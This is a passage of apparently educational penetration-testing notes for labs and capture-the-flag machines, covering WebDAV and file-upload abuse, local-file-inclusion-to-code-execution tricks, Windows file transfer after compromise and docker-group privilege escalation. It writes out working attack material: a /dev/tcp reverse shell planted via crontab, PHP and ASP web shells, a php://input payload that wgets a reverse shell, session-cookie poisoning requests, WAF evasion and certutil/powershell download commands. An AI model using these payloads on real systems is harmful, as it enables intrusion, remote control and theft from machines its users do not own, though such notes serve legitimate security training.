RA:e8:50:8b:20:52:75 (oui Unknown) 13:06:22.064514 Acknowledgment RA:18:f6:43:9c:dc:5f (oui Unknown) 13:06:22.065030 Acknowledgment RA:18:f6:43:9c:dc:5f (oui Unknown) 13:06:22.079878 Clear-To-Send RA:18:f6:43:9c:dc:5f (oui Unknown) 13:06:22.080901 Acknowledgment RA:18:f6:43:9c:dc:5f (oui Unknown) 13:06:22.108096 DeAuthentication (c4:12:f5:0d:5e:95 (oui Unknown)): Class 3 frame received from nonassociated station 13:06:22.108096 DeAuthentication (c4:12:f5:0d:5e:95 (oui Unknown)): Class 3 frame received from nonassociated station 13:06:22.110144 DeAuthentication (e8:50:8b:20:52:75 (oui Unknown)): Class 3 frame received from nonassociated station
- Transfer an image
base64 flair.jpg Copy output vi flair Paste the clipboard base64 -d flair > flair.jpg
- Have a web-accessible git ? utilize dvcs-ripper to rip web accessible (distributed) version control systems: SVN, GIT, Mercurial/hg, bzr. It can rip repositories even when directory browsing is turned off. Eric Gruber has written a blog on Dumping Git Data from Misconfigured Web Servers providing good walkthru.
- It’s always important to find, what’s installed on the box:
or using wild cardsdpkg-query -l
dpkg-query -l 'perl*'
- It’s always important to note down all the passwords found during the process of exploiting a vulnerable machine as there is a great possibility that passwords would be reused.
- If you have .jar file, Probably use jd-gui to decompile and view the class file.
- Find recently modified files:The above will show you which files have been modified within the last 10 minutes, which could help you find out whether an important config file, or log file has been modified.
find / -mmin -10 -type f 2>/dev/null
- Getting a reverse shell from:
- If the only port which is open is 3128, check for the open proxy and route the traffic via the open proxy. Probably, squid proxy server would be running. If it is the squid configuration file is /etc/squid/squid.conf
- If you do get the configuration file, do check for what kind of proxy it is! like SOCKS4, SOCKS5 or HTTP(S) proxy and is there any authentication required to access the proxy.
- We may utilize Proxychains to access the other side of network like ssh, http etc.
- Running Asterisk/ Elastix/ FreePBX or any PBX, probably try SIPVicious suite is a set of tools that can be used to audit SIP based VoIP systems. Running “http:\IPpanel” should provide us valid extensions.
- authbind software allows a program that would normally require superuser privileges to access privileged network services to run as a non-privileged user. authbind allows the system administrator to permit specific users and groups access to bind to TCP and UDP ports below 1024.
- Mostly, if there’s only port open like ssh and the IP might be acting as a interface between two networks? Like IT and OT. Probably, try to add that IP address as a default route? As it might be acting as a router?
- If you are trying to figure out the hostname of the machine and the DNS-Server is not configured, may be try to do a Full Nmap Scan -A Option? (Still need to figure out how does that work)
- Want to send a email via the SMTP server something like SMTP-Open-Relay utilize Swaks Swiss Army Knife for SMTP.
swaks --to xxxxx@example.com --from xxxxxee@example.edu --server 192.168.110.105:2525 --body "Hey Buddy How are you doing" --header "Subject: Hello! Long time"
- Got /etc/shadow file?, utilize /etc/passwd with unshadow command and use john or cudahashcat to crack passwords.
unshadow passwd shadown
- If IIS and WebDav with PUT and MOVE method are enabled, we can use testdav or cadaver (A command-line WebDAV client for Unix) to see which files are allowed
Now, we can see that pl, html, txt and other files can be uploaded. Now, if the MOVE method is enabled, we can upload a php meterpreter in a text file and then MOVE the .txt file to .php and execute the php file.davtest -url http://10.54.98.15/ ******************************************************** Testing DAV connection OPEN SUCCEED: http://10.54.98.15 ******************************************************** NOTE Random string for this session: E3u9ISnNswYes0 ******************************************************** Creating directory MKCOL SUCCEED: Created http://10.54.98.15/DavTestDir_E3u9ISnNswYes0 ******************************************************** Sending test files PUT pl SUCCEED: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.pl PUT asp FAIL PUT aspx FAIL PUT cgi FAIL PUT html SUCCEED: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.html PUT cfm SUCCEED: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.cfm PUT jhtml SUCCEED: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.jhtml PUT shtml FAIL PUT php SUCCEED: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.php PUT jsp SUCCEED: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.jsp PUT txt SUCCEED: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.txt ******************************************************** Checking for test file execution EXEC pl FAIL EXEC html SUCCEED: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.html EXEC cfm FAIL EXEC jhtml FAIL EXEC php FAIL EXEC jsp FAIL EXEC txt SUCCEED: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.txt ******************************************************** /usr/bin/davtest Summary: Created: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0 PUT File: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.pl PUT File: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.html PUT File: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.cfm PUT File: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.jhtml PUT File: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.php PUT File: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.jsp PUT File: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.txt Executes: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.html Executes: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.txt
- In one of the VM, one of the task was to capture the RAM of the system by using LiME ~ Linux Memory Extractor ( which is executed by suid binary with root privileges ). Let’s say the ramdump was saved atIf, you create a symlink from /tmp/ramdump to /etc/crontab
/tmp/ramdump
Now, when the ramdump is taken, lime will now dump the content of RAM straight into /etc/crontab. As crontab will ignore everything which doesn’t match the correct syntax. If the memory contains a injected string such asln -s /etc/crontab /tmp/ramdump
the injected string will end up in /etc/crontab will be executed.cat cron.py print "* * * * * root /bin/bash /home/username/evilscript"
The contents of evilscript can be
which will provide the root shell to the attacker. Thanks to TheColonial :)/bin/bash -i >& /dev/tcp/IP/Port 0>&1
- phpbash is a standalone, semi-interactive web shell. It’s main purpose is to assist in penetration tests where traditional reverse shells are not possible.
- ps aux not fully visible try
echo "`ps aux --sort -rss`"
- If there’s a XXE on a website and possible RFI using internal address i.e on http://127.0.0.1:80/home=RFI rather than http://10.54.98.10:80/home=RFI, utilize XXE to send the request with localaddress.
- If there’s a possible command execution on a website such asHowever, it is protected by a WAF, probably, try bash globbling techniques with ? and *. Refer Web Application Firewall (WAF) Evasion Techniques and Web Application Firewall (WAF) Evasion Techniques #2 ! Amazing stuff here! Also, it might be a good idea to test the command with ? on your local machine first then directly on the target. Also, sometimes, it adding a space before or after the linux_command might work like ‘ linux_command’ or ‘linux_command ‘
curl -A "bitvijays" -i "http://IPAddress/example?parameter='linux_command'"
- Similar to ls there is dir in linux. Try “dir -l” Might be helpful sometimes.
- Sometimes, we don’t have tools on the victim machine, in that case we can download static binaries from Static-Binaries If not, found, try the deb or rpm package of the binary, extract it and upload.
- mysql can execute statements in one liner using –execute or -e option
mysql [options] db_name --user=user_name, -u user_name : The MariaDB user name to use when connecting to the server. --password[=password], -p[password] : The password to use when connecting to the server. If you use the short option form (-p), you cannot have a space between the option and the password. If you omit the password value following the --password or -p option on the command line, mysql prompts for one. --execute=statement, -e statement : Execute the statement and quit. Disables --force and history file. The default output format is like that produced with --batch. - If there’s .action file present in the URL on a Apache WebServer, Apache Struts might be installed on it. Check for Apache Struts vulnerabilities on it.
- Handy Stuff
- Utilize xxd to convert hex to ascii
xxd -r -p -p | -ps | -postscript | -plain : output in postscript continuous hexdump style. Also known as plain hexdump style. -r | -revert : reverse operation: convert (or patch) hexdump into binary. If not writing to stdout, xxd writes into its output file without truncating it. Use the combination -r -p to read plain hexadecimal dumps without line number information and without a particular column layout. Additional Whitespace and line-breaks are allowed anywhere.
- Use python
- binascii.unhexlify(hexstr) to convert hex to string
- base64.decodestring(str) to decode base64 string
- Convert number to hex
hex(15) '0xf'
- Convert hex to decimal
s = "6a48f82d8e828ce82b82" i = int(s, 16)
- Getting out of more
If in somecase, we are unable to ssh into the machine or being logged out when trying ssh, check the /etc/passwd file for the shell defined for that user.
Here Instead of /bin/bash, user1 is using /usr/bin/showtext, which is apparently not a shell. Let’s look at the content of the filecat /etc/passwd | grep user1 user1:x:11026:11026:user level 1:/home/user1:/usr/bin/showtext
In such cases, First, minimize your terminal so that when we are logged into user1 via ssh command, the large text will force a “more” message to prompt us to continue the output. Now that we have forced the terminal to prompt us to continue the display via “more” or “–More–(50%)” in this case, press “v” to enter “vim”, a built-in text editor on Unix machines. Once, we have vim interface, use :shell to get a shell.cat /usr/bin/showtext #!/bin/sh more ~/text.txt exit 0
- List all the files together
find /home -type f -printf "%f\t%p\t%u\%g\t%m\n" 2>/dev/null | column -t
Cyber-Deception
Wordpot
Wordpot : Wordpot is a Wordpress honeypot which detects probes for plugins, themes, timthumb and other common files used to fingerprint a wordpress installation.python /opt/wp/wordpot.py --host=$lanip --port=69 --title=Welcome to XXXXXXX Blog Beta --ver=1.0 --server=XXXXXXXWordpress
FakeSMTP
FakeSMTP : FakeSMTP is a Free Fake SMTP Server with GUI for testing emails in applications easily.java -jar /opt/fakesmtp/target/fakeSMTP-2.1-SNAPSHOT.jar -s -b -p 2525 127.0.0.1 -o /home/username
Rubberglue
Rubberglue : We can use Rubberglue to listen on a port such that any traffic it receives on that port it will forward back to the client ( attacker ) on the same port.python2 /opt/honeyports/honeyports-0.4.py -p 23
Knockd
Knockd - Port-knocking server : knockd is a port-knock server. It listens to all traffic on an ethernet (or PPP) interface, looking for special “knock” sequences of port-hits. A client makes these port-hits by sending a TCP (or UDP) packet to a port on the server. This port need not be open – since knockd listens at the link-layer level, it sees all traffic even if it’s destined for a closed port. When the server detects a specific sequence of port-hits, it runs a command defined in its configuration file. This can be used to open up holes in a firewall for quick access.If there is port knocking involved, read the /etc/knockd.conf, read the sequence port knock should be done and execute
for PORT in 43059 22435 17432; do nmap -PN 192.168.56.203 -p $PORT; done
DCEPT
SecureWorks researchers have created a solution known as DCEPT (Domain Controller Enticing Password Tripwire) to detect network intrusions. Github is dceptUseful Tools
Appendix-I : Local File Inclusion
Local File Inclusion (LFI) is a type of vulnerability concerning web server. It allow an attacker to include a local file on the web server. It occurs due to the use of not properly sanitized user input.Tools
To test LFI, RFI, we can also use Uniscan Uniscan is a simple Remote File Include, Local File Include and Remote Command Execution vulnerability scanner.uniscan -h
OPTIONS:
-h help
-u <url> example: https://www.example.com/
-f <file> list of url's
-b Uniscan go to background
-q Enable Directory checks
-w Enable File checks
-e Enable robots.txt and sitemap.xml check
-d Enable Dynamic checks
-s Enable Static checks
-r Enable Stress checks
-i <dork> Bing search
-o <dork> Google search
-g Web fingerprint
-j Server fingerprint
usage:
[1] perl ./uniscan.pl -u http://www.example.com/ -qweds
[2] perl ./uniscan.pl -f sites.txt -bqweds
[3] perl ./uniscan.pl -i uniscan
[4] perl ./uniscan.pl -i "ip:xxx.xxx.xxx.xxx"
[5] perl ./uniscan.pl -o "inurl:test"
[6] perl ./uniscan.pl -u https://www.example.com/ -r
Note
Also, if we have unprivileged user shell or an ability to store a file somewhere in the filesystem, however don’t have permission to write in /var/www/html but does have LFI, we can still write (php meterpreter shell) in /tmp or user home directory and utilize LFI to get a reverse shell.
Filtering in LFI
Sometimes, there might be some filtering applied by default. For example: filename=secret.txt, here it is possible that it will only read files named secret.txt or with extension .txt. So, may be rename your payload accordingly.For example: the below code only includes the file which are named secret
<?php
$file = @$_GET['filname'];
if(strlen($file) > 55)
exit("File name too long.");
$fileName = basename($file);
if(!strpos($file, "secret"))
exit("No secret is selected.");
echo "<pre>";
include($file);
echo "</pre>";
?>
LFI to Remote Code Execution
Mainly taken from LFI-Cheat-Sheet , Exploiting PHP File Inclusion – Overview and Upgrade from LFI to RCE via PHP SessionsThere are variety of different tricks to turn your LFI into RCE. Using
File upload forms/ functions
Figure out if there are any upload forms or functions, we will upload your malicious code to the victim server, which can be executed.PHP wrapper expect://command
Allows execution of system commands via the php expect wrapper, unfortunately this is not enabled by default.An example of PHP expect:
If PHP expect wrapper is disabled, below error is encountered.
Warning: include(): Unable to find the wrapper "expect" - did you forget to enable it when you<br> configured PHP? in /var/www/fileincl/example1.php on line 7
Warning: include(): Unable to find the<br> wrapper "expect" - did you forget to enable it when you configured PHP? in <br> /var/www/fileincl/example1.php on line 7
Warning: include(expect://ls): failed to open stream: No such file or directory in /var/www/fileincl/example1.php on line 7
Warning: include(): Failed opening 'expect://ls' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/fileincl/example1.php on line 7
PHP Wrapper zip
Let’s say there is a upload functionality on the victim machine, however the file saved doesn’t have executeable permission, in that case if we upload a zip file containing a shellcode such asCreating a php payload for listing current directory files (There can be other payload also. For example, php meterpreter, if the “system” is blocked use, scandir() for directory listing etc. )
echo "<?php system("ls"); ?>" > shell.php
zip shell.zip shell.php
Zip Usage
zip://archive.zip#dir/file.txt
GET /?parameter=zip://uploads/def506bd2176265e006f2db3d7b4e9db11c459c1%23shell HTTP/1.1
Host: 10.50.66.93
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
%23 is the #
index.php
upload.php
uploads
PHP Wrapper phar
RCE can also be done using Using Phar Archives: the phar stream wrapperPHP wrapper php://file
PHP wrapper php://filter
php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. This is useful with all-in-one file functions such as readfile(), file(), and file_get_contents() where there is otherwise no opportunity to apply a filter to the stream prior the contents being read.The output is encoded using base64, so you’ll need to decode the output.
or
We could use php filter to read the source code of a PHP File
More information can be found at Using PHP for file inclusion
PHP input:// stream
php://input allows you to read raw POST data. It is a less memory intensive alternative to $HTTP_RAW_POST_DATA and does not need any special php.ini directives. php://input is not available with enctype=”multipart/form-data”.Send your payload in the POST request using curl, burp.
Example:
Post Data payload:
<? system('wget http://IP/php-reverse-shell.php -O /var/www/shell.php');?>
/proc/self/environ
If it’s possible to include /proc/self/environ from your vulnerable LFI script, then code execution can be leveraged by manipulating the User Agent parameter with Burp. After the PHP code has been introduced /proc/self/environ can be executed via your vulnerable LFI script./proc/self/fd
If it’s possible to introduce code into the proc log files that can be executed via your vulnerable LFI script. Typically you would use burp or curl to inject PHP code into the referer.This method is a little tricky as the proc file that contains the Apache error log information changes under /proc/self/fd/ e.g. /proc/self/fd/2, /proc/self/fd/10 etc. Utilize LFI-LogFileCheck.txt with Burp Intruder, and check for the returned page sizes.
Control over PHP Session Values
Let’s say, a vulnerable page is present with the post requestPOST /upload/? HTTP/1.1
Host: vulnerable.redacted.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27
Content-Length: 44
Connection: close
Upgrade-Insecure-Requests: 1
login=1&user=admin&pass=admin&lang=en_us.php
login=1&user=admin&pass=admin&lang=../../../../../../../../../../etc/passwd
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
Set-Cookie: pass=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
Now, we can write the cookie with a php command
POST /upload/? HTTP/1.1
Host: vulnerable.redacted.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27
Content-Length: 134
Connection: close
Upgrade-Insecure-Requests: 1
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Set-Cookie: user=%3C%3Fphp+system%28%22cat+%2Fetc%2Fpasswd%22%29%3B%3F%3E; expires=Mon, 13-Aug-2018 20:40:53 GMT; path=/; httponly
POST /upload/? HTTP/1.1
Host: vulnerable.redacted.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 141
Connection: close
Upgrade-Insecure-Requests: 1
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
Email Server
Appendix-II : File Upload
Examples
Simple File Upload
Intercepting the request in Burp/ ZAP and changing the file-extension.Below is the PHP code
<?
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?>
- Create a fake JPG containing php code.We’ll be using system() to read our password.
echo "<?php system($_GET["cmd"]); ?>" > shell.jpg
- Upload JPG, intercept in Burp/ ZAP and change the extension
<input name="filename" value="o0xn5q93si.jpg" type="hidden"> is changed to<input name="filename" value="o0xn5q93si.php" type="hidden">
Simple File Upload - With verifying image type
In this the above PHP code remain almost the same apart from little addition that we check the filetype of the file uploaded<?php
...
else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
}
...
?>
- Take a valid file (JPG or whichever file format, we are trying to bypass), take the valid hexdump of that file (Let’s say first 100 bytes)
Example:hexdump -n 100 -e '100/1 "\\x%02X" "\n"' sunflower.jpg -n length : Interpret only length bytes of Input -e format_string : Specify a format string to be used for displaying data
hexdump -n 100 -e '100/1 "\\x%02X" "\n"' sunflower.jpg \xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x01\x01\x01\x2C\x01\x2C\x00\x00\xFF\xE1\x00\x16\x45\x78\x69\x66\x00\x00\x4D\x4D\x00\x2A\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\xFF\xDB\x00\x43\x00\x05\x03\x04\x04\x04\x03\x05\x04\x04\x04\x05\x05\x05\x06\x07\x0C\x08\x07\x07\x07\x07\x0F\x0B\x0B\x09\x0C\x11\x0F\x12\x12\x11\x0F\x11\x11\x13\x16\x1C\x17\x13\x14\x1A\x15\x11\x11\x18\x21\x18\x1A\x1D\x1D\x1F
- Create a file with JPG header and command shell code using python
>>> fh = open('shell.php','w') >>> fh.write('The Hexdump from above \xFF\xD8\xFF\xE0' + '<? passthru($_GET["cmd"]); ?>') >>> fh.close()
Tip
Do check the source code of the page for any client-side file validation or any commented hidden parameters?
Modifying File Upload Page
Upload forms are client-side, we can probably modify them using Inspect Element or F12. If by-chance, there’s a LFI and we have seen the code of upload function. The first thing to check would be “What are the restrictions on upload i.e. Either only jpg file extension is uploaded or is file content is also check etc.”Let’s say, there is a upload form which has a text-field for accepting input (Let’s say - suspectinfo) and the input put in this text field is stored in a file format on the server. Let’s see the current form in inspect-element.
Client-Side Code
<form enctype="multipart/form-data" action="?op=upload" method="POST">
<textarea style="width:400px; height:150px;" id="sinfo" name="sinfo"> </textarea><br>
<input type="text" id="name" name="name" value="" style="width:355px;">
<input type="submit" name="submit" value="Send Tip!">
</form>
- text type field named sinfo for providing detailed information about the server and
- text type field named name for providing name of the server.
if(isset($_POST['submit']) && isset($_POST['sinfo'])) {
$tip = $_POST['sinfo'];
$secretname = Random_Filename(); ## Generates a random file name
$location = Random_Number(); ## Generate a random number
file_put_contents("uploads/". $location . '/' . $secretname, $sinfo);
In this case, if we change the input type of sinfo from text to file. We can upload a file! Imagine uploading a zip file or php file.
<form enctype="multipart/form-data" action="?op=upload" method="POST">
# <textarea style="width:400px; height:150px;" id="sinfo" name="sinfo"> </textarea><br> ---------- We have commented this and add the below line.
<input type="file" id="sinfo" name="sinfo" value="" style="width:355px;">
<input type="text" id="name" name="name" value="" style="width:355px;">
<input type="submit" name="submit" value="Send Tip!">
</form>
Tip
Sometimes, there might be cases when the developer has a commented a input type on the client side, however has forgotten to comment on the serverside code! Maybe, try to uncomment and see what happens!
IIS - Web.config Upload
If we are able to upload a web.config file by a file upload functionality in IIS - Windows machine, there might be a possibility of remote code execution.A web.config file lets you customize the way site or a specific directory on site behaves. For example, if you place a web.config file in your root directory, it will affect your entire site. If you place it in a /content directory, it will only affect that directory.
With a web.config file, you can control:
- Database connection strings.
- Error behavior.
- Security.
We can upload the below web.config
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<%
set cmd = Request.QueryString("cmd")
Set os = Server.CreateObject("WSCRIPT.SHELL")
output = os.exec("cmd.exe /c " + cmd).stdout.readall
response.write output
%>
Appendix-III Transferring Files from Linux to Windows (post-exploitation)
There would times, where we have a Windows Shell (Command Prompt) and need to copy over some files to the Windows OS. Most of the stuff has been completely taken from Transferring Files from Linux to Windows (post-exploitation) Here are the few methodsSMB
We need to setup a SMB Server on the Debian/ Kali machineSMB Server - Attacker
We can utilize Impacket smbserver to create a SMB Server without authentication, so that anyone can access the share and download the files./usr/share/doc/python-impacket/examples/smbserver.py
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies
usage: smbserver.py [-h] [-comment COMMENT] [-debug] [-smb2support]
shareName sharePath
This script will launch a SMB Server and add a share specified as an argument.
You need to be root in order to bind to port 445. No authentication will be
enforced. Example: smbserver.py -comment 'My share' TMP /tmp
positional arguments:
shareName name of the share to add
sharePath path of the share to add
optional arguments:
-h, --help show this help message and exit
-comment COMMENT share's comment to display when asked for shares
-debug Turn DEBUG output ON
-smb2support SMB2 Support (experimental!)
python smbserver.py SHELLS /root/Desktop/SHELLS
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Copying the Files - Windows
From the Windows Command Promptdir \\10.10.14.16\SHELLS
Volume in drive \\10.10.14.16\SHELLS has no label.
Volume Serial Number is ABCD-EFAA
Directory of \\10.10.14.16\SHELLS
04/10/2018 11:47 AM <DIR> .
04/08/2018 06:25 PM <DIR> ..
04/10/2018 11:47 AM 73,802 ps.exe
1 File(s) 101,696 bytes
2 Dir(s) 15,207,469,056 bytes free
C:\Users\bitvijays\Desktop> copy \\10.10.14.16\SHELLS\ps.exe .
1 file(s) copied.
\\10.10.14.16\SHELLS\ps.exe
ps.exe can be your meterpreter exe
HTTP
Setting up the Server
We can use python-SimpleHTTPServer to set up a HTTP Web Serverpython -m SimpleHTTPServer
Accessing the Server - Windows
Windows Command PromptWe can use powershell to download a file from a command prompt
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.10.10:8000/ps.exe','C:\Users\bitvijays\Desktop\ps.exe')"
CertUtil command can be abused to download a file from internet.
certutil.exe -urlcache -split -f "https://download.sysinternals.com/files/PSTools.zip" pstools.zip
bitsadmin /transfer myDownloadJob /download /priority normal http://10.10.10.10:8000/ps.exe c:\Users\bitvijays\Desktop\ps.exe
FTP
We can utilize FTP to download/ upload files from a ftp server. FTP Client is usually installed on Windows by default.Setting up the Server
We can either use Python-pyftpdlib or Metasploit to create a FTP ServerPython-pyftpdlib
Install using apt
apt-get install python-pyftpdlib
/home/bitvijays/SHELLS$ python -m pyftpdlib -p 21
Usage: python -m pyftpdlib [options]
Start a stand alone anonymous FTP server.
Options:
-h, --help : show this help message and exit
-i ADDRESS, --interface=ADDRESS : specify the interface to run on (default all interfaces)
-p PORT, --port=PORT : specify port number to run on (default 2121)
-w, --write : grants write access for logged in user (default read-only)
-d FOLDER, --directory=FOLDER : specify the directory to share (default current directory)
-n ADDRESS, --nat-address=ADDRESS : the NAT address to use for passive connections
-r FROM-TO, --range=FROM-TO : the range of TCP ports to use for passive connections (e.g. -r 8000-9000)
-D, --debug : enable DEBUG logging evel
-v, --version : print pyftpdlib version and exit
-V, --verbose : activate a more verbose logging
-u USERNAME, --username=USERNAME : specify username to login with (anonymous login will be disabled and password required if supplied)
-P PASSWORD, --password=PASSWORD : specify a password to login with (username required to be useful)
Name: FTP File Server
Module: auxiliary/server/ftp
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
hdm <x@hdm.io>
Available actions:
Name Description
---- -----------
Service
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FTPPASS no Configure a specific password that should be allowed access
FTPROOT /tmp/ftproot yes The FTP root directory to serve files from
FTPUSER no Configure a specific username that should be allowed access
PASVPORT 0 no The local PASV data port to listen on (0 is random)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 21 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
Description:
This module provides a FTP service
Access using FTP
ftp 10.10.10.10
Connected to 10.10.10.10.
220 FTP Server Ready
Name (localhost:root): anonymous
331 User name okay, need password...
Password:
230 Login OK
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls
total 160
drwxr-xr-x 2 0 0 512 Jan 1 2000 ..
drwxr-xr-x 2 0 0 512 Jan 1 2000 .
-rw-r--r-- 1 0 0 166 Jan 1 2000 secret.zip
226 Transfer complete.
ftp> get secret.zip
local: secret.zip remote: secret.zip
200 PORT command successful.
150 Opening BINARY mode data connection for secret.zip
226 Transfer complete.
166 bytes received in 0.00 secs (138.4367 kB/s)
ftp>
Contents of a text file
open 10.10.10.10
anonymous
anonymous
binary
get ps.exe
bye
ftp -s:filename-containing-commands
echo "open 10.10.10.10" >> commands.txt
echo "anonymous" >> commands.txt
TFTP
We can also utilize TFTP to download or upload filesSetting up the Server
Metasploit moduleuse auxiliary/server/tftp
msf auxiliary(server/tftp) > info
Name: TFTP File Server
Module: auxiliary/server/tftp
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
jduck <jduck@metasploit.com>
todb <todb@metasploit.com>
Available actions:
Name Description
---- -----------
Service
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
OUTPUTPATH /tmp yes The directory in which uploaded files will be written.
SRVHOST 0.0.0.0 yes The local host to listen on.
SRVPORT 69 yes The local port to listen on.
TFTPROOT /tmp yes The TFTP root directory to serve files from
Description:
This module provides a TFTP service
msf auxiliary(server/tftp) > run
[*] Auxiliary module running as background job 0.
[*] Starting TFTP server on 0.0.0.0:69...
[*] Files will be served from /tmp
[*] Uploaded files will be saved in /tmp
Installing tftp - Windows
pkgmgr /iu:"TFTP"
Appendix-IV Linux Group Membership Issues
Let’s examine in what groups we are members. Recommended read about groups: Users and Groups and System GroupsDocker Group
Any user who is part of the docker group should also be considered root. Read Using the docker command to root the host Older version of docker were vulnerable to Docker breakout. More details at Shocker / Docker Breakout PoCIf you are the docker user and want to get root.
Create a Dockerfile
mkdir docker-test
cd docker-test
cat > Dockerfile
FROM debian:wheezy
ENV WORKDIR /stuff
RUN mkdir -p $WORKDIR
VOLUME [ $WORKDIR ]
WORKDIR $WORKDIR
Build the Docker
docker build -t my-docker-image .
Note
If there are already docker images present on the host machine, we can utilize those also instead of making a new one. If there are none, we can copy a image to the vulnerable machine.
Save the docker image as a tar file:
docker save -o <path for generated tar file> <image name>
docker load -i <path to image tar file>
Become root?
- Copy binaries from the container into the host and give them suid permissions:
If the sh is not working, create a suid.c, compile it, suid it and run.docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c 'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh' ./sh whoami # root
- Mount system directories into docker and ask docker to read (and write) restricted files that should be out of your user’s clearance:
